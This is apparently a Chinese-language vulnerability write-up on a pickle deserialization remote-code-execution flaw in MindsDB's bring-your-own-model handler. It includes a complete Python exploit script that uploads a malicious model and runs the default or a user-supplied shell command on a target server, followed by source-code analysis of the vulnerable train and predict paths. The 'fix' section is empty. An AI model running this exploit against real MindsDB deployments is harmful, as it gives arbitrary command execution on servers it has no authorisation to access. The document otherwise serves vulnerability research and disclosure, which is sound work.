MindsDB Pickle 反序列化远程代码执行漏洞挖掘

前言

挖就完事了,看了一下,是有 pickle 的逻辑,分析了很多pickle的漏洞了,只要数据可控,那就会存在漏洞,于是去挖掘了一下,真挖到了 picke 反序列化 RCE 的漏洞,因为之前也分析了db的其他漏洞,对它的代码和功能比较熟悉了

漏洞描述

MindsDB 是一个开源的 AI SQL Server,允许开发者通过 SQL 接口训练和部署机器学习模型。其 BYOM (Bring Your Own Model) 功能允许用户上传自定义 Python 模型代码。

本报告分析 MindsDB BYOM Handler 中存在的 Pickle 反序列化远程代码执行漏洞。该漏洞允许攻击者通过上传恶意模型代码,在模型训练阶段注入带有恶意 __reduce__() 方法的对象,进而在模型预测阶段通过 pickle.loads() 触发任意代码执行。

环境搭建

# 1. 克隆漏洞版本源码
git clone https://github.com/mindsdb/mindsdb.git
cd mindsdb
git checkout vulnerable-25.11.0

# 2. 安装依赖
pip install -r requirements.txt

# 3. 启动 MindsDB 服务
python -m mindsdb

服务启动后默认监听于 http://127.0.0.1:47334。

漏洞复现

漏洞复现步骤有点多,就使用一个脚本来复现了

先给出整体的脚本逻辑流程

1. PUT /api/handlers/byom/<engine_name>
   └─→ 上传恶意 BYOM handler 代码

2. CREATE ML_ENGINE <engine_name>
   └─→ 注册恶意 handler,type='inhouse'

3. CREATE MODEL <model_name>
   └─→ FROM <engine_name>
   └─→ 触发 train() → pickle.dumps(恶意对象)
   └─→ 模型状态持久化到存储

4. SELECT * FROM <model_name> WHERE ...
   └─→ 触发 predict() → pickle.loads(model_state)
   └─→ __reduce__() → 任意代码执行

利用脚本

import requests
import time
import os
import sys
import tempfile

TARGET = "http://127.0.0.1:47334"

# 恶意 pickle payload - __reduce__ 会在 pickle.loads() 时自动执行
# 注意:第二个参数必须是 tuple
MALICIOUS_CODE = """
import subprocess

class PickleRCE:
    def __reduce__(self):
        # 反序列化时执行的命令
        marker = "/tmp/MINDSDB_PICKLE_RCE"
        return (
            subprocess.run,
            (['sh', '-c', f'echo "PICKLE_RCE_SUCCESS_$(date)" > {marker} && whoami >> {marker}'],)
        )

class ExploitModel:
    def train(self, df, target, args=None):
        # 关键:将恶意对象注入到 self.__dict__
        # 这会在 pickle.dumps() 时被序列化
        self.__dict__['evil'] = PickleRCE()
        self.__dict__['trained'] = True
        return None

    def predict(self, df, args=None):
        return df
"""

REQUIREMENTS = "pandas\n"

def exploit(target_url, command=None):
    """执行 Pickle RCE exploit"""

    if command:
        # 自定义命令
        MALICIOUS_CODE_CUSTOM = f"""
import subprocess

class PickleRCE:
    def __reduce__(self):
        return (
            subprocess.run,
            (['sh', '-c', '{command}'],)
        )

class ExploitModel:
    def train(self, df, target, args=None):
        self.__dict__['evil'] = PickleRCE()
        return None

    def predict(self, df, args=None):
        return df
"""
        code = MALICIOUS_CODE_CUSTOM
    else:
        code = MALICIOUS_CODE

    # Step 1: 清理旧的资源
    print("[*] Step 1: 清理旧资源...")
    requests.post(f"{target_url}/api/sql/query",
        json={"query": "DROP MODEL IF EXISTS exploit_model"},
        timeout=60)
    requests.post(f"{target_url}/api/sql/query",
        json={"query": "DROP ML_ENGINE IF EXISTS exploit_engine"},
        timeout=60)
    time.sleep(1)

    # Step 2: 通过 PUT 上传恶意 BYOM handler(直接上传代码,无需本地文件)
    print("[*] Step 2: PUT /api/handlers/byom/exploit_engine ...")

    # 创建临时文件用于上传
    temp_dir = tempfile.mkdtemp()
    code_path = os.path.join(temp_dir, "model.py")
    req_path = os.path.join(temp_dir, "requirements.txt")

    with open(code_path, 'w') as f:
        f.write(code)
    with open(req_path, 'w') as f:
        f.write(REQUIREMENTS)

    try:
        with open(code_path, 'rb') as code_file, open(req_path, 'rb') as req_file:
            files = {
                'code': ('model.py', code_file, 'text/plain'),
                'modules': ('requirements.txt', req_file, 'text/plain'),
            }
            data = {'type': 'inhouse'}

            resp = requests.put(
                f"{target_url}/api/handlers/byom/exploit_engine",
                files=files,
                data=data,
                timeout=60
            )

        print(f"    Status: {resp.status_code}")
        if resp.status_code == 200:
            print(f"    [+] BYOM handler 上传成功!")
        else:
            print(f"    [-] 失败: {resp.text[:200]}")
            return False
    finally:
        # 清理临时文件
        import shutil
        shutil.rmtree(temp_dir, ignore_errors=True)

    time.sleep(2)

    # Step 3: CREATE MODEL - 触发 train() → pickle.dumps()
    print("[*] Step 3: CREATE MODEL (触发 train 注入 payload)...")
    query_model = """
    CREATE MODEL exploit_model
    FROM files
    (SELECT * FROM test_18 LIMIT 5)
    PREDICT content
    USING engine = 'exploit_engine'
    """

    resp = requests.post(f"{target_url}/api/sql/query",
        json={"query": query_model}, timeout=120)
    print(f"    Status: {resp.status_code} - {resp.json().get('type')}")

    # 等待训练完成
    print("    等待训练完成...")
    for i in range(10):
        time.sleep(1)
        resp_check = requests.post(f"{target_url}/api/sql/query",
            json={"query": "SELECT status FROM models WHERE name = 'exploit_model'"},
            timeout=60)
        result = resp_check.json()
        if result.get('type') == 'table' and result.get('data'):
            status = result['data'][0][0]
            if status == 'complete':
                print(f"    训练完成 (status: {status})")
                break
            elif status == 'error':
                print(f"    训练失败 (status: {status})")
                return False

    # Step 4: SELECT ... WHERE - 触发 predict() → pickle.loads() → RCE
    print("[*] Step 4: SELECT ... WHERE (触发 pickle.loads RCE)...")
    query_pred = "SELECT * FROM exploit_model WHERE content = 'test'"

    resp = requests.post(f"{target_url}/api/sql/query",
        json={"query": query_pred}, timeout=120)
    print(f"    Status: {resp.status_code} - {resp.json().get('type')}")

    time.sleep(2)

    # Step 5: 验证 RCE
    print("[*] Step 5: 验证 RCE...")
    if not command:
        marker = "/tmp/MINDSDB_PICKLE_RCE"
        if os.path.exists(marker):
            with open(marker) as f:
                content = f.read()
            print(f"\n[!] ================== RCE SUCCESS! ==================")
            print(f"{content.strip()}")
            print(f"====================================================\n")
            return True
    else:
        print(f"\n[!] Command executed: {command}")

    print("[-] RCE 未检测到(可能 payload 已执行但未找到标记文件)")
    return False

def main():
    import argparse
    parser = argparse.ArgumentParser(description='MindsDB BYOM Pickle RCE Exploit ')
    parser.add_argument('-t', '--target', default=TARGET, help='Target URL')
    parser.add_argument('-c', '--command', help='Custom command to execute')
    args = parser.parse_args()

    print("=" * 60)
    print("MindsDB BYOM Pickle RCE Exploit")
    print("=" * 60)

    try:
        # 检查服务
        resp = requests.get(f"{args.target}/api/databases/", timeout=5)
        if resp.status_code != 200:
            print("[-] MindsDB 服务未响应")
            return
        print(f"[+] MindsDB 服务正在运行: {args.target}")
    except Exception as e:
        print(f"[-] 无法连接: {e}")
        return

    exploit(args.target, args.command)

if __name__ == "__main__":
    main()


漏洞分析

详细代码分析

模型代码获取

def _get_model_proxy(self, version=None):
    """
    根据版本获取对应的模型包装器
    返回 ModelWrapperUnsafe 或 ModelWrapperSafe
    """
    if version is None:
        version = 1
    if isinstance(version, str):
        version = int(version)
    version_mark = ""
    if version > 1:
        version_mark = f"_{version}"
    version_str = str(version)

    # 从存储中获取用户上传的代码和依赖
    self.engine_storage.fileStorage.pull()
    try:
        code = self.engine_storage.fileStorage.file_get(f"code{version_mark}")
        modules_str = self.engine_storage.fileStorage.file_get(f"modules{version_mark}")
    except FileNotFoundError:
        raise Exception(f"Engine version '{version}' does not exists")

    # 根据版本配置选择包装器类型
    if version_str not in self.model_wrappers:
        connection_args = self.engine_storage.get_connection_args()
        version_meta = connection_args["versions"][version_str]

        try:
            engine_version_type = BYOM_TYPE[version_meta.get("type", self._default_byom_type.name).upper()]
        except KeyError:
            raise Exception("Unknown BYOM_TYPE")

        # 🔴 关键分支: 根据 engine_version_type 选择包装器
        if engine_version_type == BYOM_TYPE.INHOUSE:
            if self._inhouse_enabled is False:
                raise Exception("'Inhouse' BYOM engine type can not be used")
            # 创建危险的 ModelWrapperUnsafe
            if self.inhouse_model_wrapper is None:
                self.inhouse_model_wrapper = ModelWrapperUnsafe(
                    code=code,              # ← 用户上传的代码
                    modules_str=modules_str,
                    engine_id=self.engine_storage.integration_id,
                    engine_version=version,
                )
            self.model_wrappers[version_str] = self.inhouse_model_wrapper

        elif engine_version_type == BYOM_TYPE.VENV:
            # 创建安全的 ModelWrapperSafe (使用子进程隔离)
            self.model_wrappers[version_str] = ModelWrapperSafe(
                code=code,
                modules_str=modules_str,
                engine_id=self.engine_storage.integration_id,
                engine_version=version,
            )

    return self.model_wrappers[version_str]
  • 当 BYOM 类型为 INHOUSE 时,会创建 ModelWrapperUnsafe 实例,而 ModelWrapperUnsafe 直接在主进程中处理用户代码,最主要的一点是使用 pickle 进行序列化/反序列化

ModelWrapperUnsafe 类

class ModelWrapperUnsafe:
    """在当前进程中执行 learn/predict 的模型包装器"""

    def __init__(self, code, modules_str, engine_id, engine_version: int):
        # 导入用户提供的代码
        self.module = import_string(code)

        model_instance = None
        # 在用户代码中查找包含 train 和 predict 方法的类
        model_class = find_model_class(self.module)
        if model_class is not None:
            model_instance = model_class()

        self.model_instance = model_instance

    def train(self, df, target, args):
        """
        训练模型 - 🔴 漏洞注入点
        """
        # 调用用户提供的 train() 方法
        # 我们可以在这里修改 self.__dict__ 注入恶意对象
        self.model_instance.train(df, target, args)

        # 🔴 漏洞点: 直接序列化我们可控制的 __dict__
        # 用户可以在 train() 中修改 __dict__,添加带有 __reduce__ 的恶意对象
        return pickle.dumps(self.model_instance.__dict__, protocol=5)

    def predict(self, df, model_state, args):
        """
        预测 - 🔴 漏洞触发点
        """
        # 🔴 漏洞点: 不安全的反序列化
        # model_state 来自存储,但内容是用户在 train() 时控制的
        model_state = pickle.loads(model_state)

        # 将反序列化的数据恢复到模型实例
        self.model_instance.__dict__ = model_state

        try:
            result = self.model_instance.predict(df, args)
        except Exception:
            result = self.model_instance.predict(df)
        return result

    def finetune(self, df, model_state, args):
        """
        微调模型 - 🔴 同样的 pickle 反序列化漏洞
        """
        # 🔴 漏洞点: 不安全的反序列化
        self.model_instance.__dict__ = pickle.loads(model_state)

        call_args = [df]
        if args:
            call_args.append(args)

        self.model_instance.finetune(df, args)

        # 再次序列化
        return pickle.dumps(self.model_instance.__dict__, protocol=5)

    def describe(self, model_state, attribute: Optional[str] = None) -> pd.DataFrame:
        """
        描述模型 - 🔴 同样的 pickle 反序列化漏洞
        """
        if hasattr(self.model_instance, "describe"):
            # 🔴 漏洞点: 不安全的反序列化
            model_state = pickle.loads(model_state)
            self.model_instance.__dict__ = model_state
            return self.model_instance.describe(attribute)
        return pd.DataFrame()

    def func_call(self, func_name, args):
        """调用自定义函数"""
        func = getattr(self.module, func_name)
        return func(*args)

    def check(self, mode: str = None):
        """检查模块"""
        methods = check_module(self.module, mode)
        return methods

反序列列化的点很多,只要调用 pickle.loads 的,都是漏洞点,因为这个类我们是可以重写的,它的任意方法我们都可以重写,也就是说,参数完全由我们来控制

train 这个点 return pickle.dumps(self.model_instance.__dict__, protocol=5),直接序列化 model_instance.__dict__,所以我们的 POC 修改 self.__dict__ 注入恶意对象


然后其他点就是反序列化了,核心都是 pickle.loads ,但是关键是能不能有 API 触发调用到方法

proc_wrapper 处理

def encode(obj):
    """使用 pickle 序列化对象"""
    return pickle.dumps(obj, protocol=5)


def decode(encoded):
    """使用 pickle 反序列化对象 - 🔴 不安全"""
    return pickle.loads(encoded)


def return_output(obj):
    # 将序列化后的对象写入 stdout
    encoded = encode(obj)
    with open(1, 'wb') as fd:
        fd.write(encoded)
    sys.exit(0)


def get_input():
    # 从 stdin 读取并反序列化对象
    with open(0, 'rb') as fd:
        encoded = fd.read()
        obj = decode(encoded)  # ← 直接反序列化
    return obj


通信的时候就使用的序列化和反序列化的数据进行通信,调用的是 encode 和 decode

TRAIN 处理逻辑

def main():
    # 替换 stdout 为 stderr
    sys.stdout = sys.stderr

    params = get_input()  # 从 stdin 读取参数

    method = BYOM_METHOD(params['method'])
    code = params['code']

    # 导入用户代码
    module = import_string(code)

    # ... 省略其他分支 ...

    model_class = find_model_class(module)

    if method == BYOM_METHOD.TRAIN:
        df = params['df']
        if df is not None:
            df = pd_decode(df)
        to_predict = params['to_predict']
        args = params['args']
        model = model_class()

        call_args = [df, to_predict]
        if args:
            call_args.append(args)

        # 🔴 调用用户提供的 train() 方法 - 用户可以在这里修改 __dict__
        model.train(*call_args)

        # 🔴 将整个 model.__dict__ 序列化返回
        data = model.__dict__

        model_state = encode(data)  # pickle.dumps()
        return_output(model_state)

调用我们上传恶意模型的 train() 方法,然后获取模型的 __dict__ 使用 ,encode() 即 pickle.dumps() 序列化


PREDICT 处理逻辑

我们的数据只是序列化了,但是还没有反序列化,上面类也看到了有很多 load 方法,比如 predict

elif method == BYOM_METHOD.PREDICT:
    model_state = params['model_state']  # 从参数获取 model_state

    df = pd_decode(params['df'])
    args = params['args']

    model = model_class()

    # 🔴 漏洞点: 反序列化 model_state
    model.__dict__ = decode(model_state)  # pickle.loads() - 触发 __reduce__()

    call_args = [df]
    if args:
        call_args.append(args]

    # 执行 predict
    res = model.predict(*call_args)
    return_output(pd_encode(res))

使用 decode() 即 pickle.loads() 反序列化 model_state,而这时候 model_state 是带有 __reduce__() 方法的恶意对象时,会自动执行该对象中的代码,

两个方法分别如何触发呢?

BYOMHandler.create()方法

def create(self, target, df=None, args=None, **kwargs):
    """
    创建模型 - 对应 SQL: CREATE MODEL ...
    """
    using_args = args.get("using", {})
    engine_version = using_args.get("engine_version")

    # 获取模型代理 (ModelWrapperUnsafe 或 ModelWrapperSafe)
    model_proxy = self._get_model_proxy(engine_version)

    model_state = model_proxy.train(df, target, args)

    # 将 model_state 存储到文件系统
    self.model_storage.file_set("model", model_state)

    # 设置列信息
    def convert_type(field_type):
        if pd_types.is_integer_dtype(field_type):
            return "integer"
        elif pd_types.is_numeric_dtype(field_type):
            return "float"
        elif pd_types.is_datetime64_any_dtype(field_type):
            return "datetime"
        else:
            return "categorical"

    columns = {target: convert_type(object)}
    self.model_storage.columns_set(columns)

调用 create 方法时, model_proxy.train() 将返回的 model_state 然后放到 model_state 之后会在 predict() 时被读取和反序列化

BYOMHandler.predict()

文件位置: mindsdb/integrations/handlers/byom_handler/byom_handler.py:228-241

def predict(self, df, args=None):
    """
    预测 - 对应 SQL: SELECT * FROM model ...
    """
    pred_args = args.get("predict_params", {})

    engine_version = pred_args.get("engine_version")
    if engine_version is not None:
        engine_version = int(engine_version)
    else:
        engine_version = self.get_model_engine_version()

    # 获取模型代理
    model_proxy = self._get_model_proxy(engine_version)

    # 🔴 从存储读取 model_state
    model_state = self.model_storage.file_get("model")

    # 🔴 调用 predict() - 将 model_state 传入,触发 pickle.loads()
    pred_df = model_proxy.predict(df, model_state, pred_args)

    return pred_df

调用 SELECT 的时候,从存储读取 model_state,调用 predict() - 将 model_state 传入,触发 pickle.loads()

攻击原理详解

Python Pickle 反序列化机制

Python 的 pickle 模块在反序列化时会自动调用对象的特殊方法。其中 __reduce__() 方法返回一个元组 (callable, args),pickle 会执行 callable(*args)。

# 正常用法
class Data:
    def __reduce__(self):
        return (dict, ([('key', 'value')],))

# 恶意用法
class Malicious:
    def __reduce__(self):
        return (os.system, ('whoami',))  # 执行命令

攻击者控制路径

攻击者可以在 train() 方法中修改 self.__dict__:

def train(self, df, target, args=None):
    # 创建恶意对象
    class MaliciousObject:
        def __reduce__(self):
            return (subprocess.run, (['evil_command'],))

    # 将恶意对象注入到实例字典
    self.__dict__['malicious'] = MaliciousObject()

当 pickle.dumps(model.__dict__) 被调用时,__dict__ 中的 malicious 对象会被序列化。之后当 pickle.loads() 被调用时,MaliciousObject.__reduce__() 会被自动执行。

完整攻击流程

1. 用户上传恶意模型代码
   │
   ↓
2. CREATE MODEL (调用 BYOMHandler.create)
   │
   ├─→ _get_model_proxy() 返回 ModelWrapperUnsafe
   │
   ├─→ ModelWrapperUnsafe.train() 被调用
   │   │
   │   ├─→ self.model_instance.train(df, target, args)
   │   │   │
   │   │   └─→ 用户代码执行:
   │   │       self.__dict__['evil'] = MaliciousObject()
   │   │
   │   └─→ pickle.dumps(self.model_instance.__dict__)
   │       包含恶意对象
   │
   └─→ model_storage.file_set("model", model_state)
       存储到文件系统
   │
   ↓
3. SELECT ... (调用 BYOMHandler.predict)
   │
   ├─→ model_state = model_storage.file_get("model")
   │   读取包含恶意对象的数据
   │
   ├─→ ModelWrapperUnsafe.predict(df, model_state, args)
   │   │
   │   └─→ pickle.loads(model_state)  ← 漏洞触发点
   │       │
   │       └─→ MaliciousObject.__reduce__()
   │           │
   │           └─→ subprocess.run(['evil_command'])  ← RCE

漏洞修复

参考资料

免责声明

本报告仅供安全研究和教育目的使用。所有测试均在授权环境中进行。

  • 请勿将本文提供的信息用于任何非法目的
  • 本文所述漏洞利用方法仅用于帮助理解和修复安全漏洞